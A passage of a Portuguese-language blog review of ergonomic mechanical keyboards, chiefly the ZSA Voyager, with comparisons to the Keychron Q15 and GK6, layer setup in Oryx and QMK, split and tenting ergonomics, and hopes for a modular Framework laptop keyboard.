<p>Ouviram o barulho do peso do Q15 no chão? E conseguem entender a diferença nos sons? O Q15 não ecoa nada, o &ldquo;dampening&rdquo; dele é muito bom. O som é grave e encorpado. O GK6 também é muito bom, mas tem menos camadas. Em comparação dá pra sentir um pouquinho de eco no fim. Já os últimos dois são mais ocos por dentro, sem espuma, com materiais menos robustos, aí já tem um barulho um pouco mais agudo e ecoado. O ideal é o som do Q15. Nenhum deles é particularmente ruim, mas o Q15 é superior mesmo.</p>
<div class="video-container">
<video controls preload="auto"> <source src="https://cdn.shopify.com/videos/c/o/v/8f053eebc79f4e07a923e477e38d04d0.mp4" type="video/mp4"> Your browser does not support the video tag. </video>
</div>
<p>O exemplo acima é do próprio site da Keychron, mostrando como eles tem um aplicativo visual pra editar os layouts, parecido com o Oryx da ZSA também. Apesar de ser bom ter a liberdade de fazer o que quiser no nível da linguagem C com o QMK, pra teclados, eu realmente prefiro que exista uma opção visual assim. Nem todo mundo que vai comprar é programador e vai saber configurar terminal, python, git, etc. O ideal é ter as duas opções, mas o default ser plug-and-play, só plugar na USB, o aplicativo sobe o firmware e já era.</p>
<p><a name="voyager"></a></p>
<h2>Meu Melhor Teclado - Voyager<span class="hx:absolute hx:-mt-20" id="meu-melhor-teclado---voyager"></span>
    <a href="#meu-melhor-teclado---voyager" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Apesar de todos os elogios que vim fazendo a todos os teclados anteriores, eu não uso nenhum deles hoje em dia. Na verdade, recebi o Q15 Max e não tinha nem tirado da caixa até ter que tirar as fotos pra este artigo. Um dos problemas desse tipo de teclado é que já me acostumei ao meu layout, com minhas próprias camadas customizadas, então todo novo teclado, preciso passar pelo cansativo processo de editar layouts tudo de novo. Aí não tive paciência e acabei nem usando.</p>
<p>Se nenhum dos modelos comerciais existisse, o teclado ideal seria alguma variação de Corne. São pequenos e compactos, não ocupam quase nenhum espaço na mesa. Somado a switches e teclas Choc, ficam bem low profile. O PCB (placa controladores) não exige uso de case, pode ficar direto na mesa porque não tem nada embaixo que dá curto. Isso o torna  extremamente &ldquo;flat&rdquo; na mesa, não precisando usar nenhum tipo de apoio de pulso.</p>
<p>Além disso, é colunar staggered, que leva em consideração comprimento diferente dos dedos, e é split, que permite deixar as duas mãos bem separadas, evitando rotações desnecessárias. Finalmente, é totalmente customizável via QMK, onde posso colocar todas as camadas do jeito que eu quero. Ou seja, é o teclado perfeito.</p>
<p>Mas a ZSA, fabricante do descontinuado Planck EZ e do monstruoso Moonlander, resolveu criar um novo modelo, o <a href="https://www.zsa.io/voyager"target="_blank" rel="noopener">Voyager</a>. Eu acho que muito desse modelo veio do feedback de pessoas com o Ben Vallack. Sério, maratonem os videos do canal dele onde mostra passo a passo a pesquisa que fez pra determinar como o teclado perfeito deveria ser. E até vai além do ponto, ao extremo de criar um teclado com nada menos do que míseras 18 teclas (!!)</p>
<p>Não é prático, mas é ultrapassando os limites que sabemos onde está o limite:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/c18vkHG_7tY"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Ele começou a fazer os protótipos usando o Moonlander como base, removendo teclas, fazendo experimentos. E chegou à conclusão que o Moonlander seria ainda mais ergonômico e muito mais produtivo se fosse muito menor e com muito menos teclas. E a ZSA ouviu.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/wr7r2w8spl4kitmtr8oyg3si21tw" alt="Moonlander vs Voyager"  loading="lazy" /></p>
<p>Ele tem mais ou menos as mesmas dimensões do GK6 ou Q15, mas em formato &ldquo;split&rdquo;, dividido ao meio, o que possibilita mais flexibilidade e ergonomia. Note que a cor branca vai encardindo com o tempo. Ainda não sei o que é melhor pra limpar, mas o meu já está amarelando de tanto usar. Recomendo comprar a versão preta.</p>
<p>O Voyager é o Moonlander 2.0, um Corne comercial. É um pouco maior do que um Corne 40% porque tem a linha superior numérica. Eu acho que nem precisaria, mas não chega a atrapalhar. Ao contrário do meu Corne montado de forma caseira, o Voyager é &ldquo;slick&rdquo;, com cara de algo que a Apple construiria. Plásticos duros de alta qualidade, placa de metal atrás dando suporte, peso e rigidez, mas sem aumentar demais o peso total. Espessura fina, usando switches e teclas low profile, parecidas com as Choc que falei que gosto, e ainda com LEDs RGB em cada tecla. Tem tudo que gosto no Corne e mais um pouco.</p>
<p>Claro, assim como tudo nessa categoria, o Voyager também é bem caro. USD 365, sem contar transporte nem impostos. É a mesma faixa de preço do Q15 Max. Por isso falei: se preço menor for importante, um Corne montado manualmente faz a mesma coisa, e pode custar metade do preço ou menos! Falem com o Felipe!</p>
<p>Em comparação com o Corne, tem 2 teclas a menos em cada thumb-cluster. Isso foi um pouquinho chato no começo de me acostumar, mas hoje eu acho que foi a decisão certa: cada dedão não precisa de mais do que duas teclas. Este é um caso onde limitações são libertadoras. O senso-comum diz que ter mais teclas é melhor, mas os dedos precisam se mexer mais e é mais fácil de errar.</p>
<p>Isso vale a pena explicar. Vamos revisar o layout do meu Corne:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/hfnc3l660frcoayvq8oiz110h1kd" alt="camada 0 thumb cluster"  loading="lazy" /></p>
<p>Aqui cada dedão precisa lembrar a posição de 3 teclas. As mais usadas são backspace e barra de espaço, por isso coloco mais na ponta. Assim eu sempre sei que precisa esticar o dedão e nunca vou errar. Já &ldquo;delete&rdquo; e &ldquo;enter¨ se usa um pouco menos, deixo no meio, onde é só abaixar o dedão, sem esticar. Era assim que eu usava no Moonlander, Planck, Corne e outros.</p>
<p>Mas o Voyager só tem 2 teclas em cada dedão, como faz?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/r0jooa947kshzk2gc35wphqlem2m" alt="oryx camada 0"  loading="lazy" /></p>
<p>Esta é a camada 0 (zero) do meu Voyager. Tem só backspace e espaço nas teclas maiores do thumb-cluster, mas note que acima tem as teclas &ldquo;hold&rdquo;, que é a mesma coisa que o &ldquo;MO(1)&rdquo; e &ldquo;MO(2)&rdquo; do QMK, lembram? Servem pra deixar apertado e mudar pra outra camada virtual. Se apertar esse &ldquo;hold 1&rdquo;, vai virar o seguinte:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gn29nzx8jwsoakjf3em29d3dxg2t" alt="oryx camada 1"  loading="lazy" /></p>
<p>Agora sim, com o &ldquo;hold 1&rdquo; apertado na esquerda, posso apertar &ldquo;enter&rdquo; com dedão direito.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/05xfa8qfyjt7hpebv6ru9rmyxkf0" alt="oryx camada 2"  loading="lazy" /></p>
<p>Por outro lado, se deixar apertado &ldquo;hold 2&rdquo; com dedão direito, agora o backspace vira &ldquo;delete&rdquo; na esquerda. E com isso as mesmas funções estão disponíveis, mesmo tendo fisicamente menos teclas. É só aprender isso de camadas.</p>
<p>Mais do que camadas, tem coisas não uso tanto, com <em>&ldquo;tap-to-hold&rdquo;</em>. Você Dá pra apertar rápido uma vez e depois segurar a mesma tecla, e isso dá gatilho em outro evento. No caso da ferramenta de configuração Oryx, da ZSA, tem opções de configurar o que acontece só quando aperta e tira o dedo (<em>&ldquo;held&rdquo;</em>), ou quando aperta rápido duas vezes (<em>&ldquo;double-tapped&rdquo;</em>), ou quando aperta rápido uma vez e aperta de novo (<em>&ldquo;tapped and then held&rdquo;</em>) e deixa segurando. Ou seja, dá pra configurar no mínimo <strong>3 ações diferentes em cada tecla, em cada camada, e dá pra ter múltiplas camadas!</strong> São centenas de opções!</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/qou3zcgjw79mawagyatme0b0mbc2" alt="Oryx Voyager"  loading="lazy" /></p>
<p>Assim como a Keychron, a ZSA também tem um aplicativo visual via web. É muito mais cômodo do que editar um arquivo JSON. Ele tem já embutido botão pra compilar o firmware e, quando conectar seu teclado no modo de upload, o navegador consegue detectar e é plug-and-play pra subir o firmware. Não precisa instalar nada extra na sua máquina. É esse tipo de poimento comercial que uma opção mais barata como Corne não vai ter. O mais próximo é o QMK Configurator.</p>
<p>E diferente do Corne, o Voyager também tem LEDs RGB. Tá vendo no Oryx como tem opção de <em>&ldquo;set color&rdquo;</em>? Assim fica muito mais fácil pra lembrar onde que tá qual tecla, em qual camada. Até pra saber em que camada estamos neste momento. Muito melhor do que ter que memorizar tudo e não ter feedback nenhum. Acho muito importante o hardware ter alguma forma de comunicar seu estado atual.</p>
<p>Portanto, a experiência do software me faz querer experimentar mais com o Voyager ou Moonlander do que o GK6 que é QMK puro, por exemplo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ss2jz5lwpi19mwivpxj0mq4iqhkv" alt="Voyager close up"  loading="lazy" /></p>
<p>Novamente, olhem na minha mão como é fino. Cada metade tem pouco mais de 200g. Com os cabos, o total é menos de <strong>700g</strong>. É próximo do GK6, metade do Q15, mas parece ainda mais leve. O balanço do peso é muito bom.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dco0ukkdnhi17i4y77x6mk80kbhp" alt="Voyager bottom"  loading="lazy" /></p>
<p>A traseira do Voyager não chega a ser tão elegante quanto do GK6 ou Q15, mesmo assim é bonito o suficiente e funcional, uma vibe mais industrial, com metal e parafusos à mostra e pontos de montagem pra anexar em suportes, caso queira usar em tripé, braço de cadeira ou em &ldquo;tenting&rdquo;. Eu não tentei nenhuma dessas opções, prefiro reto na mesa mesmo.</p>
<p>Mas tem <a href="https://www.reddit.com/r/ErgoMechKeyboards/comments/17fwd57/zsa_voyager_tenting_experiment/"target="_blank" rel="noopener">sub-reddits</a> com projetos de impressão 3D e coisas assim pra quem quiser experimentar tenting no Voyager. Veja um exemplo de lá:</p>
<p><a href="https://www.printables.com/model/597882-zsa-voyager-stand"target="_blank" rel="noopener"><img src="https://preview.redd.it/zsa-voyager-tenting-experiment-v0-kdfxc7d4x9wb1.jpg?width=640&amp;crop=smart&amp;auto=webp&amp;s=5615ebece5db23212ce5fda464039f6847cfcfc9" alt="Voyager tenting"  loading="lazy" /></a>
Tem esta outra opção usando um tripé chamado <a href="https://preview.redd.it/voyager-tenting-with-manfrotto-pocket-tripods-v0-49xxqiada5sb1.jpg?width=640&amp;crop=smart&amp;auto=webp&amp;s=bb095a3a9c18da455e661400e082e0cbaff513f3"target="_blank" rel="noopener">&ldquo;Manfrotto&rdquo;</a>:</p>
<p><img src="https://preview.redd.it/voyager-tenting-with-manfrotto-pocket-tripods-v0-49xxqiada5sb1.jpg?width=5712&amp;format=pjpg&amp;auto=webp&amp;s=cac876389d4ff94206b6b120446a90ae260db688" alt="Manfrotto tripod"  loading="lazy" /></p>
<p>Essa é uma opção que me vejo usando. E tem <a href="https://www.reddit.com/r/ErgoMechKeyboards/comments/16k7p4x/voyager_tenting/"target="_blank" rel="noopener">mais opções</a>. Eu gosto de tenting, é a única coisa que só o Moonlander faz de fábrica. Eu sentiria mais falta se ainda precisasse digitar muito todos os dias, mas como não preciso mais, prefiro o Voyager puro pra ser mais bonito e ocupar menos espaço na minha mesa.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ducayps3ys884gq2hucn7nl19ppf" alt="minha mesa com voyager"  loading="lazy" /></p>
<p>Esta é minha mesa em Outubro de 2024 e como tem sido por pelo menos 1 ano. Eu troco por outros teclados pra testar, mas sempre acabo voltando nesta configuração, por tudo que já expliquei antes. Eu uso o mouse na mão esquerda (porque minha mão direita dói mais, então me acostumei a usar com a esquerda pra doer os dois igual kkkk). Tenho um Apple Touchpad na direita pra coisas que exigem &ldquo;scrolling&rdquo; (dói muito menos do que &ldquo;scroll-wheel&rdquo; de mouse). E note como uso as duas metades do teclado bem afastados. Essa é uma distância boa, mas dá pra abrir bem mais se quiser.</p>
<p><a name="pulso"></a></p>
<h2>Ortolinear vs Colunar<span class="hx:absolute hx:-mt-20" id="ortolinear-vs-colunar"></span>
    <a href="#ortolinear-vs-colunar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra ficar claro, achei melhor ilustrar o que significa esse papo todo de pulso. Veja como ficam suas mãos num teclado de uma única peça, um monolito:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/44ia6l5v13w8z5wz9vyhi8hda0c4" alt="pulso rotacionado"  loading="lazy" /></p>
<p>Está claro? Quando o teclado não é split, somos obrigados a trazer as duas mãos super pra perto. Obviamente a única forma de posicionar assim é dobrando os pulsos de uma forma não-natural. Somado à rotação (por não ser tenting), estamos pinçando os nervos e causando micro-lesões, todas as vezes.</p>
<p>Sim, pra quem usa pouco, esporadicamente, não faz diferença mesmo. Isso é pra nós, programadores, escritores, pessoas que digitam horas seguidas. Se você não for essa pessoa não me venha comentar <em>&ldquo;ain, eu não sinto isso&rdquo;</em>. Lógico, você digita pouco.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/8aab5kmzzyym6wr1dq4q8j365d8y" alt="voyager, perto"  loading="lazy" /></p>
<p>Se a intenção for construir um teclado monolito pelo fato de ser mais fácil de carregar na mochila ou algo assim, no mínimo, as duas metades deveriam estar num ângulo, como na foto acima. Dessa forma as mãos teriam que continuar próximas, mas não seria necessário dobrar os pulsos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/rpe3wdfjduwim2aihulb2pf8sb4h" alt="Voyager, afastado"  loading="lazy" /></p>
<p>Claro, o ideal é split: duas metades que podem ser afastadas. Assim seus braços podem permanecer numa posição natural, reta, sem precisar dobrar nada, sem fazer esforço desnecessário. Isso permite ficar horas digitando sentindo pouca ou nenhuma dor. Se somar a um suporte embaixo, pra elevar o meio do teclado, criando tenting, aí sim, os braços ficam na posição mais neutra possível. E é por isso que eu prefiro este tipo de teclado: <strong>split-colunar-staggered</strong>.</p>
<p><a name="framework"></a></p>
<h2>O Futuro - Framework<span class="hx:absolute hx:-mt-20" id="o-futuro---framework"></span>
    <a href="#o-futuro---framework" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Este artigo foi só porque eu estava com esses teclados parados aqui. E não, não adianta mandar no comentário pra sortear, vender, nem nada disso. São parte da minha coleção, eu deixo na minha prateleira porque acho bonito e posso usar quando der na telha. Não vou me desfazer de nenhum. Não insistam!</p>
<p>Mas se tem uma coisa que me frustra são notebooks. Nenhum tem opção ortolinear. Então sempre preciso conectar um externo via USB ou então digitar mais devagar usando o layout convencional. Mas minhas esperanças aumentaram quando surgiu a empresa Framework.</p>
<div class="video-container">
<video controls preload="auto"> <source src="https://customer-gbu4wsrjcdamtxzc.cloudflarestream.com/864433f3f504c98ddc2d5837b4f081f9/downloads/default.mp4" type="video/mp4"> Your browser does not support the video tag. </video>
</div>
<p>Eles só tem dois modelos, o Laptop 13 e o Laptop 16. Meu ideal seria um 14&rdquo; com formato 3:2 como os Surface, mas o de 13&quot; é mais que suficiente. Eu conheci eles pelo canal <strong>Linus Tech Tips</strong>, pois o Linus Sebastian se tornou um dos primeiros patrocinadores/sócios do projeto.</p>
<p>A ideia parece simples, mas até hoje ninguém conseguiu fazer algo que não só funcione, mas dure anos. Esse laptop é todo modular. E não só nas coisas triviais como trocar uma porta HDMI externa por uma porta Ethernet ou USB 4. Mas também fazer upgrade de memória, e até de placa-mãe, GPU, monitor e &hellip; teclado!!</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Jack at <a href="https://twitter.com/OrtholinearKB?ref_src=twsrc%5Etfw">@OrtholinearKB</a> prepared a mockup of an ortholinear keyboard module for the Framework Laptop 16! Modularity opens up some incredible possibilities. <a href="https://t.co/hKqT3AMU7t">pic.twitter.com/hKqT3AMU7t</a></p>— Framework (@FrameworkPuter) <a href="https://twitter.com/FrameworkPuter/status/1648371892062130176?ref_src=twsrc%5Etfw">April 18, 2023</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Olha só isso. Parece que já faz pelo menos um ano que estão trabalhando numa opção ortolinear! Isso seria meu sonho de consumo! Um teclado de notebook não é mais que um teclado com USB interno. Deveria ser simples de trocar, é mais uma questão de design industrial do que de tecnologia.</p>
<p>Eu estou quase já comprando um Framework Laptop 13 quando for pros EUA este ano, e quando sair o teclado, posso importar só ele (vai custar impostos, óbvio, mas pelo menos vai ser só o teclado). Aí eu terei o notebook definitivo pra digitadores profissionais!!</p>
<p>Esta é a última coisa que falta. Espero que realmente lancem logo e inspirem outros fabricantes a pensar em opções assim: destacáveis e modulares.</p>
<p>Como expliquei nos meus videos, em particular no primeiro video da trilogia, até hoje usamos layouts de teclados absolutamente ruins pras nossas mãos, pulsos e braços. Muitos que trabalham o dia todo digitando vão sofrer com LER e tendinite, mais cedo ou mais tarde. Tudo porque todo mundo tem preguiça de aprender coisas modernas.</p>
<p>Todos acham que é muito difícil, mas é só <strong>preguiça</strong> mesmo. Eu aprendi com mais de 40 anos. Não precisa ser um adolescente pra aprender essas coisas. É só parar de achar que não vai conseguir e fazer, sem pensar nas consequências. Melhor: se conseguir, a consequência é que vai digitar mais rápido, com menos erros e sem forçar suas mãos, evitando dores e doenças ortopédicas.</p>
<p>A Apple, o ápice do que usamos como referência quando pensamos em tecnologia moderna, só tem uma parte que tem fedor de velho: o teclado. Se ela fosse realmente corajosa, como Phil Schiller achava que era, o Macbook tinha que ser assim:</p>
<p><img src="https://preview.redd.it/concept-ortholinear-apple-silicon-macbook-pro-v0-kw2duliaxrea1.png?width=2440&amp;format=png&amp;auto=webp&amp;s=e899a4e2029b24620ecb3c34a1d0ab03ad7dda97" alt="Macbook Ortolinear"  loading="lazy" /></p>
<p>Isso sim, seria um Macbook do século 21, deixando as limitações do layout de máquina de escrever do começo do século 20 pra trás. Por agora, já me dou por satisfeito com meu ZSA Voyager, que é meu &ldquo;daily-driver&rdquo; e faz tudo exatamente do jeito que preciso. Não pretendo descer abaixo dos 40% e ficar fazendo malabarismo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/015nq7sqccm833ttzeqymrbxe3j8" alt="Coleção"  loading="lazy" /></p>
<p>Eu falei de &ldquo;Corne&rdquo;, mas é só porque é o nome mais popular. Falei que o Felipe me fez um Hillside que é um Corne com rotary, mas existem dezenas de variações como Lily58, Skeletyl, CRKBD, Scylla, Sofie, Totem e muito mais.</p>
<p>Sabe onde consegue ver várias delas? No perfil de Instagram do amigo <a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener">Felipe/Tupinikeebs</a>. Ele sempre posta um <em>keeb</em> novo por lá, então fique de olho, leve em consideração tudo que falei sobre tamanho, peso, mobilidade, bateria, layouts, 60% vs 40% vs 30%, tenting, split, e encontre a combinação que faz mais sentido pro seu uso particular.</p>
<p>Modelos diferentes existem porque cada pessoa tem usos diferentes. Um escritor de livros é diferente de um programador que é diferente de um contador que é diferente de um cientista de dados e assim por diante. Não existe um teclado universal que funciona perfeitamente pra todo mundo. Sem contar a estética, cores, RGB, tipos de switch, materiais de teclas, etc. Não seja limitado, seja aberto às opções.</p>
<p>Novamente, praqueles que vão insistir em comentar sobre o lendário <strong>Kinesis</strong>, ele é diferente de todos que já mostrei. Eu sei. Tem o formato de uma bacia no centro de cada metade, É uma outra forma de otimizar pra comprimentos diferentes em cada dedo. Em vez de Corne, o que vocês querem é o <strong>Scylla</strong>. Adivinha quem já postou sobre isso? O Felipe:</p>
<p><a href="https://www.instagram.com/p/DBHSdDrR_bR/?utm_source=ig_web_button_share_sheet&amp;igsh=MzRlODBiNWFlZA=="target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ch3u7epuje0xfk395jikxi95jijy" alt="Scylla"  loading="lazy" /></a>
E por hoje é isso aí, espero que tenham gostado. Não deixem de assistir os videos da trilogia onde explico muito mais detalhes de tudo isso. Só depois pensem em mandar perguntas nos comentários!</p>
]]></content:encoded><category>teclados</category><category>hardware</category><category>reviews</category></item></channel></rss>